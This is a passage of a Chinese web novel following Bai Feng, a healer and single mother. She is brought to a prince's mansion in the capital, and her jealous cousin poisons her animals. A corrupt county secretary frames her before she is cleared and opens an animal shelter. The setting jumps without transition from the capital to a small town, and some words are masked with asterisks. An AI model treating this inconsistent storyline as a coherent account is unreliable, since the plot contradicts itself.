徐禄生看见他,脸色一变,连忙行礼:“见过王爷。” 尉迟深点点头,看了白凤一眼:“你们认识?” “嗯。”白凤简单地说,“他帮过我。” 尉迟深没再多问,转身走进了驿站。 徐禄生等他走远了,才小声问:“白姑娘,你怎么跟徽臻王在一起?” 白凤苦笑一声:“说来话长。” “那你现在是……”徐禄生欲言又止。 “我也不知道。”白凤摇摇头,“反正就是被他强行带走了。” 徐禄生皱起眉头:“他要是欺负你,你就告诉我,我帮你。” 白凤看着他,心里涌起一股暖意:“谢谢你,徐大哥。” “别客气。”徐禄生笑了笑,“我正好也要去京城,到时候有什么事,你就来找我。” 白凤点点头,心里松了口气。 至少在京城,她还有个熟人。 晚上,白凤和豆豆住在驿站的一间房里。 豆豆累了一天,很快就睡着了。 白凤坐在床边,看着窗外的月亮,心里想着接下来该怎么办。 正想着,门外传来敲门声。 白凤走过去开门,就见尉迟深站在门外。 “有事?”白凤冷淡地问。 “我想跟你谈谈。”尉迟深说。 白凤犹豫了一下,还是让他进来了。 尉迟深走进房间,看了一眼熟睡的豆豆,眼里闪过一丝柔和。 “他长得很像你。”尉迟深说。 “他是我儿子,当然像我。”白凤说。 尉迟深转过身,看着她:“白凤,我知道你恨我。” “我不恨你。”白凤平静地说,“我只是不想跟你有任何关系。” “可是豆豆……” “豆豆是我的儿子。”白凤打断他,“跟你没关系。” 尉迟深沉默了一会儿,最后叹了口气:“我知道你不愿意承认,但豆豆确实是我的儿子。我不能让他一辈子没有名分。” “名分?”白凤冷笑一声,“你觉得我在乎那些?” “你不在乎,但豆豆会在乎。”尉迟深说,“等他长大了,他会问你,他的父亲是谁。到那时候,你要怎么回答?” 白凤沉默了。 她知道尉迟深说得对,但她就是不想承认。 尉迟深看着她,声音放软了一些:“白凤,我不是要强迫你做什么。我只是想给豆豆一个正常的身份,让他以后不会被人指指点点。” 白凤抬起头,看着他:“那你呢?你想要什么?” 尉迟深愣了一下,然后说:“我想要一个儿子。” “就这么简单?” “就这么简单。” 白凤看着他,心里涌起一股说不出的情绪。 她不知道该相信他,还是该继续防备他。 最后,她还是点了点头:“好,我跟你回京城。但我有个条件。” “什么条件?” “我和豆豆住在一起,你不能干涉我们的生活。” 尉迟深想了想,点点头:“可以。” 白凤松了口气:“那就这样吧。” 尉迟深转身要走,走到门口又停下来:“白凤,我知道你不信我,但我会证明给你看,我是真心想对你和豆豆好。” 说完,他推门走了出去。 白凤站在原地,看着关上的门,心里五味杂陈。 她不知道这个决定是对是错,但她知道,她已经没有退路了。 第二天一早,马车继续上路。 这次,尉迟深没有再坐在马车里,而是骑着马走在前面。 白凤透过车窗,看着他的背影,心里想着昨晚的对话。 豆豆趴在窗边,突然问:“娘,那个叔叔是谁?” 白凤愣了一下:“什么叔叔?” “就是那个骑马的叔叔。”豆豆指着尉迟深,“他为什么一直跟着我们?” 白凤不知道该怎么回答,只好说:“他是……他是娘的朋友。” “朋友?”豆豆歪着头,“可是我看他好像不太喜欢笑。” 白凤笑了:“是啊,他不太喜欢笑。” 豆豆想了想,又问:“那他喜欢我吗?” 白凤的心一紧。 她不知道该怎么回答这个问题。 最后,她只好说:“他应该喜欢你吧。” 豆豆点点头,又趴回窗边,继续看风景。 白凤看着儿子的背影,心里涌起一股说不出的情绪。 她不知道带豆豆去京城是对是错,但她知道,她必须保护好他。 马车又走了两天,终于在第五天的傍晚,到达了京城。 白凤掀开车帘,看着眼前高大的城墙,心里涌起一股说不出的情绪。 这就是京城。 她从来没想过,自己有一天会来到这里。 马车进了城,一路向北,最后停在了一座巨大的府邸前。 侍卫们下马,开始搬运行李。 白凤牵着豆豆下车,抬头看着眼前的府邸,心里有些发怵。 这地方也太大了吧? 尉迟深走过来,对她说:“这是徽臻王府,以后你和豆豆就住在这里。” 白凤点点头,没说话。 第175章 过得平静 尉迟深带着她走进府邸,一路上经过了好几个院子,最后停在了一个安静的小院前。 “这是你们的住处。”尉迟深说,“有什么需要,就跟下人说。” 白凤看了看院子,点点头:“谢谢。” 尉迟深转身要走,走了几步又停下来:“白凤,我知道你现在还不信我,但我会慢慢证明给你看。” 说完,他转身离开了。 白凤站在院子里,看着他的背影,心里涌起一股说不出的情绪。 她不知道接下来会发生什么,但她知道,她必须小心应对。 白凤在王府住下后,日子倒是过得平静。 尉迟深没有再来打扰她,只是每天派人送来吃的用的,倒也算周到。 豆豆对这个新家很满意,每天在院子里跑来跑去,玩得不亦乐乎。 乐乐和来财也适应了新环境,整天在院子里晒太阳。 白凤闲着没事,就在院子里种了些药材。 她想着,既然来了京城,总得找点事做,不能整天闲着。 这天,白凤正在院子里浇水,突然听见门外传来一阵喧哗。 她走过去开门,就见一个穿着华丽的妇人站在门外,身后跟着一群丫鬟。 “你就是白凤?”妇人上下打量着她,眼里带着一丝轻蔑。 白凤皱起眉头:“你是谁?” “我是王爷的姑母,李氏。”妇人说,“听说王爷把你接回来了,我特地来看看。” 白凤心里一沉。 她知道,这个李氏肯定不是来看她的,而是来找茬的。 果然,李氏走进院子,看了看四周,冷笑一声:“就这?王爷就让你住这种地方?” 白凤没说话,只是静静地看着她。 李氏转过身,看着她:“我听说,你带着个野种回来了?” 白凤的脸色一沉:“你说什么?” “我说错了吗?”李氏冷笑,“一个来路不明的女人,带着个来路不明的孩子,还想进王府?你以为你是谁?” 白凤深吸一口气,压下心里的火气:“李夫人,我和豆豆住在这里,是王爷的安排。你有什么意见,可以去找王爷说。” “找王爷?”李氏冷笑,“王爷现在被你迷得神魂颠倒,我说什么他都听不进去。但我告诉你,你别想在王府待太久。” 说完,她转身就走。 白凤站在原地,看着她的背影,心里涌起一股说不出的情绪。 她知道,在王府的日子不会太平。 晚上,尉迟深来了。 他一进门,就看见白凤坐在院子里,脸色不太好。 “怎么了?”尉迟深问。 “你姑母来过了。”白凤淡淡地说。 尉迟深皱起眉头:“她说什么了?” “没什么。”白凤摇摇头,“就是来看看我这个野种娘。” 尉迟深的脸色一沉:“她敢这么说你?” “不然呢?”白凤冷笑一声,“我一个来路不明的女人,带着个来路不明的孩子,住进王府,不被人说才怪。” 尉迟深沉默了一会儿,最后说:“对不起,是我考虑不周。” “你不用道歉。”白凤说,“我早就知道会是这样。” 尉迟深看着她,眼里闪过一丝复杂的情绪:“白凤,我会处理好这件事。” “怎么处理?”白凤问,“你要去跟你姑母说,豆豆是你的儿子?” 尉迟深点点头:“对。” 白凤愣了一下,然后摇摇头:“不行。” “为什么?” “因为我不想让豆豆卷进这些乱七八糟的事里。”白凤说,“他还小,不应该承受这些。” 尉迟深沉默了一会儿,最后叹了口气:“那你想怎么办?” “我不知道。”白凤摇摇头,“但我知道,我不能让豆豆受委屈。” 尉迟深看着她,眼里闪过一丝柔和:“我明白了。” 说完,他转身离开了。 白凤坐在院子里,看着天上的星星,心里乱得很。 她不知道接下来该怎么办,但她知道,她必须保护好豆豆。 第二天,白凤带着豆豆去了趟街上。 她想给豆豆买些新衣服,顺便看看京城的市面。 街上人来人往,热闹得很。 豆豆拉着她的手,看着周围的一切,眼睛都不够用了。 “娘,这里好热闹啊!”豆豆兴奋地说。 “是啊。”白凤笑了笑,“你喜欢吗?” “喜欢!”豆豆用力点头。 白凤带着他走进一家布店,挑了几匹布料,准备给豆豆做几件新衣服。 正在挑选的时候,门外突然传来一阵喧哗。 白凤走出去一看,就见一群人围在街边,不知道在看什么。 她走过去,挤进人群,就见一个穿着破烂的老人躺在地上,脸色苍白,气息微弱。 周围的人都在议论,但没人上前帮忙。 白凤皱起眉头,走过去蹲下来,给老人把了把脉。 “这是中毒了。”白凤说。 “中毒?”周围的人都吃了一惊。 白凤没理他们,从怀里掏出一个小瓶子,倒出几粒药丸,喂给老人吃下。 过了一会儿,老人的脸色好了一些,慢慢睁开了眼睛。 “谢谢……谢谢姑娘……”老人虚弱地说。 “不用谢。”白凤说,“你好好休息,过几天就好了。” 说完,她站起身,准备离开。 “等等!”一个声音突然响起。 白凤转过身,就见一个穿着锦袍的年轻男人走过来,看着她:“姑娘,你刚才给他吃的是什么药?” “解毒丸。”白凤说。 “解毒丸?”年轻男人眼睛一亮,“姑娘,你是大夫?” “算是吧。”白凤说。 年轻男人上下打量着她,眼里闪过一丝兴奋:“姑娘,我家老爷病了很久,一直找不到好大夫。不知道姑娘能不能去看看?” 白凤犹豫了一下:“我只是略懂医术,不敢说能治好。” “没关系,姑娘去看看就行。”年轻男人说,“我家老爷愿意出重金。” 白凤想了想,点点头:“好,我去看看。” 年轻男人大喜,连忙带着她去了一座大宅子。 白凤跟着他走进去,就见一个五十来岁的男人躺在床上,脸色蜡黄,气息微弱。 白凤走过去,给他把了把脉,眉头皱得越来越紧。 “怎么样?”年轻男人紧张地问。 “你父亲这是慢性中毒。”白凤说,“而且已经很久了。” “中毒?”年轻男人大惊,“怎么会中毒?” 白凤没说话,只是看着床上的男人,心里涌起一股说不出的情绪。 她知道,这件事不简单。 “姑娘,你能治吗?”年轻男人问。 “能。”白凤点点头,“但需要时间。” “多久?” “至少半个月。” 年轻男人松了口气:“好,只要能治好,多久都行。” 白凤点点头,开始给男人开药方。 她写了几张药方,交给年轻男人:“按照这个方子抓药,每天煎给你父亲喝。半个月后,我再来看看。” 年轻男人接过药方,千恩万谢。 白凤带着豆豆离开了大宅子,心里却在想着刚才的事。 那个男人中的毒很特殊,不是一般的毒药。 而且,能给他下毒的人,肯定就在他身边。 第176章 能抓老鼠? 白凤这几日忙得脚不沾地。 县令判了童氏归还财物,镇上的风向彻底变了。以前那些指指点点的婆子们,现在见了她都笑脸相迎,还有人专门上门来打听她养的那些动物。 “白姑娘,听说你家那只鸡能抓老鼠?” “白姑娘,你那狗真通人性,能不能教教我家那只?” 白凤应付得头疼,但心里清楚,这些人不过是见风使舵罢了。 豆豆倒是高兴,每天放学回来都要跟她絮叨学堂里的事。 “娘,今天先生夸我字写得好!” “娘,李二狗说他爹要给他买新衣裳,我也想要。” 白凤摸摸他的头:“等娘攒够了银子,给你做新衣裳。” 豆豆眼睛亮晶晶的:“娘最好了!” 院子里,乐乐正追着来财跑,福球蹲在墙头上看热闹。白凤瞧着这一幕,嘴角不自觉地翘起来。 日子总算是有了盼头。 可这份安宁没持续几天,就被打破了。 那天傍晚,白凤正在院子里喂鸡,院门被人敲得砰砰响。 她皱眉走过去开门,门外站着的是沈冬梅。 沈冬梅脸色不太好,眼圈发红,看起来像是哭过。她身后还跟着舅舅童大山。 “白凤。”童大山开口,声音有些僵硬,“冬梅有话跟你说。” 白凤冷眼看着他们,没吭声。 沈冬梅咬了咬嘴唇,低下头:“表姐,之前的事……是我不对。” 白凤挑眉:“哦?” “我不该听娘的话,说你那些坏话。”沈冬梅说着,眼泪又掉下来,“表姐,你原谅我吧。” 白凤看着她这副模样,心里冷笑。 沈冬梅这丫头,从小就会装可怜。当年她爹刚死那会儿,沈冬梅就是用这招,骗走了她娘留下的银镯子。 “原谅?”白凤淡淡地说,“沈冬梅,你觉得我会信你?” 沈冬梅脸色一白。 童大山忙道:“白凤,冬梅是真心悔过。你看在舅舅的面子上,就原谅她这一回吧。” “舅舅的面子?”白凤冷笑,“舅舅当年可没给我留面子。” 童大山脸上挂不住,但还是陪着笑:“都是过去的事了,咱们是一家人,何必闹得这么僵?” 白凤正要说话,豆豆从屋里跑出来。 “娘,我饿了。” 豆豆看到门口的人,愣了一下,然后躲到白凤身后。 沈冬梅看着豆豆,眼里闪过一丝嫉妒。 白凤把豆豆护在身后,对童大山说:“我还要做饭,你们请回吧。” 说完,她就要关门。 童大山急了,伸手挡住门:“白凤,你别这么绝情。冬梅她……她怀了孩子,你就当是为了孩子,原谅她这一回。” 白凤动作一顿。 沈冬梅怀孕了? 她看向沈冬梅,果然看到她肚子微微隆起。 “怀孕了又怎样?”白凤冷冷地说,“跟我有什么关系?” 沈冬梅咬着嘴唇,眼泪掉得更凶了。 童大山叹了口气:“白凤,你就当是舅舅求你了。冬梅她现在身子不好,你就别跟她计较了。” 白凤看着童大山,心里明白,这老头子是怕她继续闹下去,连累到他们家。 “行。”白凤说,“我可以不计较,但有个条件。” 童大山眼睛一亮:“你说。” “以后别来烦我。”白凤说,“你们的事,跟我没关系。” 童大山脸色有些难看,但还是点了点头:“好,好。” 白凤关上门,转身回屋。 豆豆拉着她的衣角:“娘,那个姨姨为什么哭?” “不关咱们的事。”白凤说,“走,娘给你做饭。” 晚上,白凤躺在床上,翻来覆去睡不着。 沈冬梅怀孕了,这事有些蹊跷。 她记得沈冬梅嫁的那个师爷,是个四十多岁的老男人,膝下已经有两个儿子了。沈冬梅嫁过去,不过是当个填房。 现在怀了孩子,倒是给了她一个筹码。 白凤叹了口气,闭上眼睛。 管他呢,反正跟她没关系。 第二天一早,白凤起来喂动物,发现乐乐趴在地上,一动不动。 她心里一紧,赶紧走过去。 “乐乐?” 乐乐抬起头,眼神有些涣散,嘴里还流着口水。 白凤脸色大变,抱起乐乐就往外跑。 镇上有个老郎中,专门给牲口看病。白凤抱着乐乐冲进医馆,老郎中正在喝茶,被她吓了一跳。 “白姑娘,这是怎么了?” “快看看,它**了!”白凤说。 老郎中放下茶杯,接过乐乐,仔细检查了一番。 “确实是**。”老郎中说,“不过毒性不强,我给它灌点药,应该能好。” 白凤松了口气,但心里却冒出一个疑问。 乐乐怎么 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沈冬梅脸色煞白,结结巴巴地说:“我……我没……” “没什么?”白凤弯腰捡起纸包,闻了闻,“**?沈冬梅,你好大的胆子。” 沈冬梅脸色更白了,转身就要跑。 白凤一把抓住她的胳膊:“想跑?晚了。” 沈冬梅挣扎着:“放开我!我没有!不是我!” “不是你?”白凤冷笑,“那这是什么?” 沈冬梅张了张嘴,说不出话来。 这时,童大山从巷子口跑过来,看到这一幕,脸色大变。 “冬梅!你在干什么!” 沈冬梅看到童大山,眼泪一下子涌出来:“爹,我……我没有……” 童大山走过来,看到地上的粉末,脸色铁青。 “白凤,这……这是个误会。”童大山说。 “误会?”白凤把纸包扔到他脚下,“童大山,你睁大眼睛看看,这是什么?” 童大山弯腰捡起纸包,闻了闻,脸色更难看了。 “冬梅,你……你怎么能做这种事?” 沈冬梅哭得更凶了:“爹,我也是没办法。她现在过得这么好,凭什么?凭什么她一个寡妇,能过得比我还好?” 第177章 就凭我自己挣来的 白凤听到这话,气得笑出声来。 “凭什么?就凭我自己挣来的。”白凤说,“沈冬梅,你嫉妒我,我能理解。但你不该对我的动物下手。” 沈冬梅咬着嘴唇,不说话。 童大山叹了口气:“白凤,冬梅她……她怀着孩子,你就饶她这一回吧。” “饶她?”白凤冷笑,“她要是毒**我的动物,我找谁要去?” 童大山脸色难看,但还是陪着笑:“白凤,你看这样行不行,我赔你银子,你就别跟冬梅计较了。” 白凤看着童大山,心里冷笑。 这老头子,到现在还想息事宁人。 “不行。”白凤说,“这事,我要报官。” 童大山脸色大变:“白凤,你……你别这么绝情。” “绝情?”白凤冷笑,“当年你们对我的时候,可没想过绝情两个字。” 说完,她转身回屋,拿出那个装着**的小瓶子,还有这几天收集的证据。 “走,咱们去县衙。” 童大山急了,拦在她面前:“白凤,你真要这么做?” “让开。”白凤说。 童大山不动。 白凤冷眼看着他:“童大山,你是想包庇她?” 童大山张了张嘴,最后还是让开了。 白凤带着证据,去了县衙。 县令听完她的陈述,脸色也沉了下来。 “你说的这些,可有证据?” 白凤把小瓶子和纸包递上去:“大人请看。” 县令接过来,仔细检查了一番,然后让人去传沈冬梅。 沈冬梅被带到堂上,脸色煞白,双腿发抖。 县令拍了拍惊堂木:“沈冬梅,你可认罪?” 沈冬梅跪在地上,哭着说:“大人,我……我是一时糊涂。” “一时糊涂?”县令冷笑,“你这是蓄意**,若是毒**人,那可是死罪。” 沈冬梅吓得浑身发抖:“大人,我……我没想毒**,我只是想毒死她的动物。” 县令听到这话,脸色更难看了。 “你以为毒死动物就不是罪了?”县令说,“来人,把她押下去,择日审判。” 沈冬梅吓得大哭:“大人,我怀着孩子,您饶了我吧!” 县令皱眉:“怀孕?” 沈冬梅忙点头:“是,我怀了三个月了。” 县令沉吟片刻,说:“既然如此,那就先关押,等生了孩子再说。” 沈冬梅被带下去,童大山跪在堂上,磕头求情。 “大人,冬梅她真的是一时糊涂,求您开恩。” 县令摆摆手:“退堂。” 白凤走出县衙,心里松了口气。 沈冬梅这次算是栽了。 可她没想到,这事还没完。 沈冬梅被关进大牢,童大山急得团团转。 他找了好几个人托关系,想把沈冬梅捞出来,但都没用。县令这次铁了心要办这个案子,谁说情都不好使。 童大山没办法,只好去找师爷。 师爷姓钱,叫钱有德,是县令身边的红人。童大山托人送了一份厚礼,才见到钱有德。 “钱师爷,您得帮帮我。”童大山说,“冬梅她怀着孩子,要是出了事,我这个当爹的也活不了了。” 钱有德捋着胡子,慢悠悠地说:“童老哥,不是我不帮你,实在是这事不好办。” “钱师爷,您就想想办法。”童大山说着,又塞了一个荷包过去。 钱有德掂了掂荷包,脸上露出笑容:“也不是没办法。” 童大山眼睛一亮:“您说。” “这事的关键,在白凤那里。”钱有德说,“只要她撤诉,冬梅自然就能出来。” 童大山脸色一苦:“白凤那丫头,油盐不进,我说什么都不听。” 钱有德笑了笑:“那就换个法子。” “什么法子?” 钱有德凑到童大山耳边,低声说了几句。 童大山听完,脸色变了变,最后还是点了点头。 第二天,白凤正在家里收拾院子,突然听到外面一阵喧哗。 她走出去一看,发现门口围了一群人,为首的是县衙的衙役。 “白凤,县令有请。”衙役说。 白凤皱眉:“县令找我做什么?” “去了就知道了。”衙役说。 白凤心里有些不安,但还是跟着去了县衙。 到了县衙,县令坐在堂上,脸色阴沉。 “白凤,你可知罪?”县令一开口,就把白凤吓了一跳。 “大人,我犯了什么罪?”白凤问。 “有人举报,说你私藏违禁药材,还用这些药材害人。”县令说。 白凤愣住了:“大人,这是污蔑。” “污蔑?”县令冷笑,“来人,去白凤 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“胡说八道。”徐禄生说,“你娘是什么人,我还不知道?肯定是有人陷害她。” 豆豆抬起头,眼睛红红的:“徐叔叔,你能救救我娘吗?” 徐禄生叹了口气:“我试试。” 徐禄生去了县衙,想见县令,但被拦在门外。 他又去找钱有德,钱有德却避而不见。 徐禄生没办法,只好回家。 就在这时,镇上来了一队人马。 为首的是个年轻的百夫长,身后跟着十几个士兵。 百夫长叫李铁,是镇上李家的儿子。他前些日子去边关打仗,立了功,升了百夫长。 李铁回到镇上,听说白凤被抓了,脸色大变。 “怎么回事?”李铁问。 镇上的人七嘴八舌地说了一通,李铁听完,脸色更难看了。 “胡闹。”李铁说,“白姑娘是什么人,我还不知道?她前些日子还帮我娘找药,救了我娘一命。” 说完,他带着人去了县衙。 县令正在后堂喝茶,听说李铁来了,脸色有些不自然。 “李百夫长,您怎么来了?”县令陪着笑脸说。 第178章 也会有矛盾 “我来问问,白凤的案子是怎么回事。”李铁说。 县令脸色一变:“这是本官办案,李百夫长就不要过问了。” “不要过问?”李铁冷笑,“白姑娘救了我娘的命,我怎么能不过问?” 县令脸色更难看了:“李百夫长,这……” “别跟我废话。”李铁说,“我现在就要见白凤。” 县令没办法,只好让人把白凤带出来。 白凤看到李铁,愣了一下。 “李百夫长?” “白姑娘,您受苦了。”李铁说,“这事我会处理的。” 白凤松了口气,但还是有些担心:“李百夫长,这事恐怕不简单。” “我知道。”李铁说,“您放心,我会查清楚的。” 李铁转身对县令说:“大人,这案子我看有蹊跷,不如重新审理?” 县令脸色难看,但也不敢得罪李铁,只好点头:“好,好。” 李铁让人把白凤放了,然后带着她回家。 白凤回到家,豆豆扑过来,抱着她大哭。 “娘,我还以为再也见不到你了。” 白凤摸着豆豆的头,心里又酸又暖。 “傻孩子,娘不会有事的。” 李铁站在一旁,说:“白姑娘,这事我会查清楚的。您先好好休息。” 白凤点点头:“多谢李百夫长。” 李铁走后,白凤坐在院子里,心里却不平静。 她知道,这事还没完。 果然,第二天,李铁就查出了端倪。 那些药材和瓶子,是钱有德让人放进白凤家的。而钱有德之所以这么做,是因为沈冬梅用肚子里的孩子威胁他。 原来,沈冬梅肚子里的孩子,根本不是她丈夫的,而是钱有德的。 李铁查清楚后,直接去了县衙,把证据摆在县令面前。 县令看完,脸色铁青。 “钱有德,你好大的胆子!” 钱有德跪在地上,浑身发抖:“大人,我……我也是被逼的。” “被逼?”县令冷笑,“你这是知法犯法,罪加一等。” 钱有德吓得磕头求饶,但县令不为所动,直接让人把他押下去。 沈冬梅听说钱有德被抓了,也吓得不轻。 她本来想用孩子威胁钱有德,没想到反而把自己搭进去了。 县令重新审理了案子,判钱有德和沈冬梅都有罪。钱有德被革职查办,沈冬梅则被判流放。 童大山听说这个结果,差点晕过去。 他去找白凤,跪在地上求情。 “白凤,我求你了,放过冬梅吧。” 白凤看着童大山,心里没有一丝波澜。 “舅舅,不是我不放过她,是她自己作的。” 童大山哭着说:“白凤,冬梅她还怀着孩子,你就饶她这一回吧。” 白凤摇摇头:“舅舅,这事我做不了主。” 童大山跪在地上,哭得撕心裂肺。 白凤看着他,心里有些不忍,但还是硬起心肠。 “舅舅,你回去吧。” 童大山哭了一会儿,最后还是站起来,踉踉跄跄地走了。 白凤看着他的背影,叹了口气。 这一家子,算是彻底完了。 不过,白凤也趁着这个机会,提出要回祖产。 县令听了,倒也没为难,直接判了。 白凤拿回了祖产,那是一座三进的大宅子,比现在住的地方大多了。 她把现在住的房子留下来,专门用来养动物。 那些被弃养的猫猫狗狗,还有一些受伤的小动物,都被她收留了。 院子里一下子热闹起来,猫叫狗吠,鸡飞狗跳。 豆豆高兴得不行,每天放学回来就跟这些动物玩。 白凤看着这一幕,心里暖洋洋的。 可她没想到,这些动物之间,也会有矛盾。 白凤的动物收容所开起来没几天,就出了问题。 那天早上,白凤起来喂食,发现院子里一片狼藉。 鸡窝被掀翻了,鸡毛撒了一地。狗窝也被刨开了,来财趴在一旁,身上全是泥。 “这是怎么回事?”白凤皱眉。 乐乐蹲在墙角,一脸无辜。福球趴在屋顶上,尾巴甩来甩去。 白凤看着这一幕,头疼得不行。 她把院子收拾干净,然后把所有动物都叫到一起。 “你们听着,以后不许再打架了。”白凤说。 动物们看着她,一脸茫然。 白凤叹了口气,知道这些家伙听不懂。 她只好把它们分开,猫归猫,狗归狗,鸡归鸡。 可这样一来,院子就显得拥挤了。 白凤想了想,决定扩建院子。 她找了几个工匠,把院子扩大了一倍 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可这样下去不是办法,她得想个办法让这些动物和平相处。 白凤想了一晚上,第二天一早,她把所有动物都叫到一起,给它们立了规矩。 “从今天开始,谁要是再打架,就不给饭吃。”白凤说。 动物们看着她,一脸茫然。 白凤知道它们听不懂,但还是坚持说了一遍。 然后,她开始训练这些动物。 她先训练乐乐,让它不要追鸡。每次乐乐想追鸡的时候,她就喊停,然后给它一块肉干。 乐乐很聪明,没几天就学会了。 接着,她又训练来财,让它不要刨狗窝。来财也很听话,很快就改了。 至于福球,这只猫最省心,每天就是吃了睡,睡了吃,从来不惹事。 白凤训练了半个月,院子里总算是安静了。 动物们也渐渐习惯了彼此的存在,不再打架了。 白凤松了口气,觉得日子总算是顺了。 可她没想到,麻烦又来了。 那天下午,白凤正在院子里晒衣服,突然听到门外有人敲门。 她走过去开门,门外站着的,竟然是尉迟深。